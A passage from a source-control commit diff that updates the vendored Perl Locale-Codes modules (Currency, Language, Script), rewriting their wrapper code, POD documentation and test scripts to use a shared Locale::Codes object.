+sub rename_currency_code {
+   return $obj->replace_code(@_);
+}
+
+sub add_currency_code_alias {
+   return $obj->add_code_alias(@_);
+}
+
+sub delete_currency_code_alias {
+   return $obj->delete_code_alias(@_);
+}
+
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Currency.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Currency.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Currency.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,91 +2,108 @@
 
 =head1 NAME
 
-Locale::Currency - standard codes for currency identification
+Locale::Currency - module for dealing with currency code sets
 
 =head1 SYNOPSIS
 
-    use Locale::Currency;
+   use Locale::Currency;
 
-    $curr = code2currency('usd');     # $curr gets 'US Dollar'
-    $code = currency2code('Euro');    # $code gets 'eur'
+   $name = code2currency(CODE);
+   $code = currency2code(NAME);
 
-    @codes   = all_currency_codes();
-    @names   = all_currency_names();
+   @codes   = all_currency_codes();
+   @names   = all_currency_names();
 
 =head1 DESCRIPTION
 
-This module provides access to standard codes used for identifying
-currencies and funds, such as those defined in ISO 4217.
+This module provides access to currency code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO
-4217 three-letter codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-currencies. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: currency
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $curr = code2currency('usd','alpha');
-   $curr = code2currency('usd',LOCALE_CURR_ALPHA);
+=over 4
 
-The codesets currently supported are:
+=item B<code2currency(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha, LOCALE_CURR_ALPHA>
+=item B<currency2code(NAME [,CODESET] [,'retired'])>
 
-This is a set of three-letter (uppercase) codes from ISO 4217 such
-as EUR for Euro.
+See B<name2code> in L<Locale::Codes>
 
-Two of the codes specified by the standard (XTS which is reserved
-for testing purposes and XXX which is for transactions where no
-currency is involved) are omitted.
+=item B<currency_code2code(CODE ,CODESET ,CODESET2)>
 
-This is the default code set.
+See B<code2code> in L<Locale::Codes>
 
-=item B<num, LOCALE_CURR_NUMERIC>
+=item B<all_currency_codes([CODESET] [,'retired'])>
 
-This is the set of three-digit numeric codes from ISO 4217.
+See B<all_codes> in L<Locale::Codes>
 
+=item B<all_currency_names([CODESET] [,'retired'])>
+
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2currency(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Currency::show_errors(FLAG)>
 
-=item B<currency2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<currency_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_currency_codes([CODESET] [,'retired'])>
+=item B<Locale::Currency::rename_currency(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_currency_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Currency::rename_currency(CODE ,NEW_NAME [,CODESET])>
-
 =item B<Locale::Currency::add_currency(CODE ,NAME [,CODESET])>
 
+See B<add_code> in L<Locale::Codes>
+
 =item B<Locale::Currency::delete_currency(CODE [,CODESET])>
 
+See B<delete_code> in L<Locale::Codes>
+
 =item B<Locale::Currency::add_currency_alias(NAME ,NEW_NAME)>
 
+See B<add_alias> in L<Locale::Codes>
+
 =item B<Locale::Currency::delete_currency_alias(NAME)>
 
+See B<delete_alias> in L<Locale::Codes>
+
 =item B<Locale::Currency::rename_currency_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
 =item B<Locale::Currency::add_currency_code_alias(CODE ,NEW_CODE [,CODESET])>
 
-=item B<Locale::Currency::delete_currency_code_alias( CODE [,CODESET])>
+See B<add_code_alias> in L<Locale::Codes>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+=item B<Locale::Currency::delete_currency_code_alias(CODE [,CODESET])>
 
+See B<delete_code_alias> in L<Locale::Codes>
+
 =back
 
 =head1 SEE ALSO
@@ -97,14 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.iso.org/iso/support/currency_codes_list-1.htm>
-
-The ISO 4217 data.
-
 =back
 
 =head1 AUTHOR
@@ -115,10 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001      Michael Hennecke
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Language.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Language.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Language.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,48 +1,94 @@
 package Locale::Language;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
 use warnings;
-use Exporter;
+require 5.006;
+use Exporter qw(import);
 
-our $VERSION;
-$VERSION='3.42';
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
 
-our (@ISA, at EXPORT);
+################################################################################
+use if $] >= 5.027007, 'deprecate';
+use Locale::Codes;
+use Locale::Codes::Constants;
 
-my $backend     = 'Locale::Codes::Language';
-my $backend_exp = $backend . "::EXPORT";
+ at EXPORT    = qw(
+                code2language
+                language2code
+                all_language_codes
+                all_language_names
+                language_code2code
+               );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_LANGUAGE);
 
-eval "require $backend; $backend->import(); return 1;";
+our $obj = new Locale::Codes('language');
+$obj->show_errors(0);
 
-{
-   no strict 'refs';
-   @EXPORT = @{ $backend_exp };
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
 }
 
-unshift (@ISA, $backend);
+sub code2language {
+   return $obj->code2name(@_);
+}
 
-sub rename_language            { Locale::Codes::Language::rename_language(@_) }
-sub add_language               { Locale::Codes::Language::add_language(@_) }
-sub delete_language            { Locale::Codes::Language::delete_language(@_) }
-sub add_language_alias         { Locale::Codes::Language::add_language_alias(@_) }
-sub delete_language_alias      { Locale::Codes::Language::delete_language_alias(@_) }
-sub rename_language_code       { Locale::Codes::Language::rename_language_code(@_) }
-sub add_language_code_alias    { Locale::Codes::Language::add_language_code_alias(@_) }
-sub delete_language_code_alias { Locale::Codes::Language::delete_language_code_alias(@_) }
+sub language2code {
+   return $obj->name2code(@_);
+}
 
+sub language_code2code {
+   return $obj->code2code(@_);
+}
+
+sub all_language_codes {
+   return $obj->all_codes(@_);
+}
+
+sub all_language_names {
+   return $obj->all_names(@_);
+}
+
+sub rename_language {
+   return $obj->rename_code(@_);
+}
+
+sub add_language {
+   return $obj->add_code(@_);
+}
+
+sub delete_language {
+   return $obj->delete_code(@_);
+}
+
+sub add_language_alias {
+   return $obj->add_alias(@_);
+}
+
+sub delete_language_alias {
+   return $obj->delete_alias(@_);
+}
+
+sub rename_language_code {
+   return $obj->replace_code(@_);
+}
+
+sub add_language_code_alias {
+   return $obj->add_code_alias(@_);
+}
+
+sub delete_language_code_alias {
+   return $obj->delete_code_alias(@_);
+}
+
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Language.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Language.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Language.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,14 +2,14 @@
 
 =head1 NAME
 
-Locale::Language - standard codes for language identification
+Locale::Language - module for dealing with language code sets
 
 =head1 SYNOPSIS
 
    use Locale::Language;
 
-   $lang = code2language('en');        # $lang gets 'English'
-   $code = language2code('French');    # $code gets 'fr'
+   $name = code2language(CODE);
+   $code = language2code(NAME);
 
    @codes   = all_language_codes();
    @names   = all_language_names();
@@ -16,80 +16,93 @@
 
 =head1 DESCRIPTION
 
-This module provides access to standard codes used
-for identifying languages, such as those as defined in ISO 639.
+This module provides access to language code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO
-639 two-letter codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-languages. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: language
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $lang = code2language('en','alpha-2');
-   $lang = code2language('en',LOCALE_LANG_ALPHA_2);
+=over 4
 
-The codesets currently supported are:
+=item B<code2language(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha-2, LOCALE_LANG_ALPHA_2>
+=item B<language2code(NAME [,CODESET] [,'retired'])>
 
-This is the set of two-letter (lowercase) codes from ISO 639-1, such
-as 'he' for Hebrew.  It also includes additions to this set included
-in the IANA language registry.
+See B<name2code> in L<Locale::Codes>
 
-This is the default code set.
+=item B<language_code2code(CODE ,CODESET ,CODESET2)>
 
-=item B<alpha-3, LOCALE_LANG_ALPHA_3>
+See B<code2code> in L<Locale::Codes>
 
-This is the set of three-letter (lowercase) bibliographic codes from
-ISO 639-2 and 639-5, such as 'heb' for Hebrew.  It also includes
-additions to this set included in the IANA language registry.
+=item B<all_language_codes([CODESET] [,'retired'])>
 
-=item B<term, LOCALE_LANG_TERM>
+See B<all_codes> in L<Locale::Codes>
 
-This is the set of three-letter (lowercase) terminologic codes from
-ISO 639.
+=item B<all_language_names([CODESET] [,'retired'])>
 
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2language(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Language::show_errors(FLAG)>
 
-=item B<language2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<language_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_language_codes([CODESET] [,'retired'])>
+=item B<Locale::Language::rename_language(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_language_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Language::rename_language(CODE ,NEW_NAME [,CODESET])>
-
 =item B<Locale::Language::add_language(CODE ,NAME [,CODESET])>
 
+See B<add_code> in L<Locale::Codes>
+
 =item B<Locale::Language::delete_language(CODE [,CODESET])>
 
+See B<delete_code> in L<Locale::Codes>
+
 =item B<Locale::Language::add_language_alias(NAME ,NEW_NAME)>
 
+See B<add_alias> in L<Locale::Codes>
+
 =item B<Locale::Language::delete_language_alias(NAME)>
 
+See B<delete_alias> in L<Locale::Codes>
+
 =item B<Locale::Language::rename_language_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
 =item B<Locale::Language::add_language_code_alias(CODE ,NEW_CODE [,CODESET])>
 
+See B<add_code_alias> in L<Locale::Codes>
+
 =item B<Locale::Language::delete_language_code_alias(CODE [,CODESET])>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+See B<delete_code_alias> in L<Locale::Codes>
 
 =back
 
@@ -101,22 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.loc.gov/standards/iso639-2/>
-
-Source of the ISO 639-2 codes.
-
-=item L<http://www.loc.gov/standards/iso639-5/>
-
-Source of the ISO 639-5 codes.
-
-=item L<http://www.iana.org/assignments/language-subtag-registry>
-
-The IANA language subtag registry.
-
 =back
 
 =head1 AUTHOR
@@ -127,9 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Script.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Script.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Script.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,48 +1,94 @@
 package Locale::Script;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2016 Sullivan Beck
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
 use warnings;
-use Exporter;
+require 5.006;
+use Exporter qw(import);
 
-our $VERSION;
-$VERSION='3.42';
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
 
-our (@ISA, at EXPORT);
+################################################################################
+use if $] >= 5.027007, 'deprecate';
+use Locale::Codes;
+use Locale::Codes::Constants;
 
-my $backend     = 'Locale::Codes::Script';
-my $backend_exp = $backend . "::EXPORT";
+ at EXPORT    = qw(
+                code2script
+                script2code
+                all_script_codes
+                all_script_names
+                script_code2code
+               );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_SCRIPT);
 
-eval "require $backend; $backend->import(); return 1;";
+our $obj = new Locale::Codes('script');
+$obj->show_errors(0);
 
-{
-   no strict 'refs';
-   @EXPORT = @{ $backend_exp };
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
 }
 
-unshift (@ISA, $backend);
+sub code2script {
+   return $obj->code2name(@_);
+}
 
-sub rename_script            { Locale::Codes::Script::rename_script(@_) }
-sub add_script               { Locale::Codes::Script::add_script(@_) }
-sub delete_script            { Locale::Codes::Script::delete_script(@_) }
-sub add_script_alias         { Locale::Codes::Script::add_script_alias(@_) }
-sub delete_script_alias      { Locale::Codes::Script::delete_script_alias(@_) }
-sub rename_script_code       { Locale::Codes::Script::rename_script_code(@_) }
-sub add_script_code_alias    { Locale::Codes::Script::add_script_code_alias(@_) }
-sub delete_script_code_alias { Locale::Codes::Script::delete_script_code_alias(@_) }
+sub script2code {
+   return $obj->name2code(@_);
+}
 
+sub script_code2code {
+   return $obj->code2code(@_);
+}
+
+sub all_script_codes {
+   return $obj->all_codes(@_);
+}
+
+sub all_script_names {
+   return $obj->all_names(@_);
+}
+
+sub rename_script {
+   return $obj->rename_code(@_);
+}
+
+sub add_script {
+   return $obj->add_code(@_);
+}
+
+sub delete_script {
+   return $obj->delete_code(@_);
+}
+
+sub add_script_alias {
+   return $obj->add_alias(@_);
+}
+
+sub delete_script_alias {
+   return $obj->delete_alias(@_);
+}
+
+sub rename_script_code {
+   return $obj->replace_code(@_);
+}
+
+sub add_script_code_alias {
+   return $obj->add_code_alias(@_);
+}
+
+sub delete_script_code_alias {
+   return $obj->delete_code_alias(@_);
+}
+
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Script.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Script.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Script.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,92 +2,107 @@
 
 =head1 NAME
 
-Locale::Script - standard codes for script identification
+Locale::Script - module for dealing with script code sets
 
 =head1 SYNOPSIS
 
    use Locale::Script;
 
-   $script  = code2script('phnx');                     # 'Phoenician'
-   $code    = script2code('Phoenician');               # 'Phnx'
-   $code    = script2code('Phoenician',
-                          LOCALE_CODE_NUMERIC);        # 115
+   $name = code2script(CODE);
+   $code = script2code(NAME);
 
    @codes   = all_script_codes();
-   @scripts = all_script_names();
+   @names   = all_script_names();
 
 =head1 DESCRIPTION
 
-This module provides access to standards codes used
-for identifying scripts, such as those defined in ISO 15924.
+This module provides access to script code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default ISO
-15924 four-letter codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-scripts. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: script
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $script = code2script('phnx','alpha');
-   $script = code2script('phnx',LOCALE_SCRIPT_ALPHA);
+=over 4
 
-The codesets currently supported are:
+=item B<code2script(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha, LOCALE_SCRIPT_ALPHA>
+=item B<script2code(NAME [,CODESET] [,'retired'])>
 
-This is a set of four-letter (capitalized) codes from ISO 15924
-such as 'Phnx' for Phoenician.  It also includes additions to this
-set included in the IANA language registry.
+See B<name2code> in L<Locale::Codes>
 
-The Zxxx, Zyyy, and Zzzz codes are not used.
+=item B<script_code2code(CODE ,CODESET ,CODESET2)>
 
-This is the default code set.
+See B<code2code> in L<Locale::Codes>
 
-=item B<num, LOCALE_SCRIPT_NUMERIC>
+=item B<all_script_codes([CODESET] [,'retired'])>
 
-This is a set of three-digit numeric codes from ISO 15924 such as 115
-for Phoenician.
+See B<all_codes> in L<Locale::Codes>
 
+=item B<all_script_names([CODESET] [,'retired'])>
+
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2script(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Script::show_errors(FLAG)>
 
-=item B<script2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<script_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_script_codes([CODESET] [,'retired'])>
+=item B<Locale::Script::rename_script(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_script_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Script::rename_script(CODE ,NEW_NAME [,CODESET])>
-
 =item B<Locale::Script::add_script(CODE ,NAME [,CODESET])>
 
+See B<add_code> in L<Locale::Codes>
+
 =item B<Locale::Script::delete_script(CODE [,CODESET])>
 
+See B<delete_code> in L<Locale::Codes>
+
 =item B<Locale::Script::add_script_alias(NAME ,NEW_NAME)>
 
+See B<add_alias> in L<Locale::Codes>
+
 =item B<Locale::Script::delete_script_alias(NAME)>
 
+See B<delete_alias> in L<Locale::Codes>
+
 =item B<Locale::Script::rename_script_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
 =item B<Locale::Script::add_script_code_alias(CODE ,NEW_CODE [,CODESET])>
 
+See B<add_code_alias> in L<Locale::Codes>
+
 =item B<Locale::Script::delete_script_code_alias(CODE [,CODESET])>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+See B<delete_code_alias> in L<Locale::Codes>
 
 =back
 
@@ -99,18 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.unicode.org/iso15924/>
-
-Home page for ISO 15924.
-
-=item L<http://www.iana.org/assignments/language-subtag-registry>
-
-The IANA language subtag registry.
-
 =back
 
 =head1 AUTHOR
@@ -121,9 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Deleted: vendor/perl/dist/cpan/Locale-Codes/t/country.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/country.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/country.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,47 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'country';
-$::module = 'Locale::Codes::Country';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_country.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_country.pl";
-  $dir="../lib";
-  $tdir=".";
-} else {
-  die "ERROR: cannot find testfunc.pl\n";
-}
-
-unshift(@INC,$dir);
-
-print "country...\n";
-test_Func(\&test,$::tests,$runtests);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/country_func.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/country_func.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/country_func.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('country','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/t/country_old.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/country_old.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/country_old.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,36 +4,16 @@
 use strict;
 require 5.002;
 
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'country';
-$::module = 'Locale::Country';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_country.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_country.pl";
-  $dir="../lib";
-  $tdir=".";
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
 } else {
-  die "ERROR: cannot find testfunc.pl\n";
+  die "ERROR: cannot find do_tests.pl\n";
 }
 
-unshift(@INC,$dir);
+do_tests('country','','old');
 
-print "country (old)...\n";
-test_Func(\&test,$::tests,$runtests);
-
 1;
 # Local Variables:
 # mode: cperl

Added: vendor/perl/dist/cpan/Locale-Codes/t/country_oo.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/country_oo.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/country_oo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('country','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Deleted: vendor/perl/dist/cpan/Locale-Codes/t/currency.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/currency.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/currency.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,47 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'currency';
-$::module = 'Locale::Codes::Currency';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_currency.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_currency.pl";
-  $dir="../lib";
-  $tdir=".";
-} else {
-  die "ERROR: cannot find testfunc.pl\n";
-}
-
-unshift(@INC,$dir);
-
-print "currency...\n";
-test_Func(\&test,$::tests,$runtests);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/currency_func.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/currency_func.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/currency_func.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('currency','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/t/currency_old.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/currency_old.t	2018-11-30 20:25:27 UTC (rev 12125)
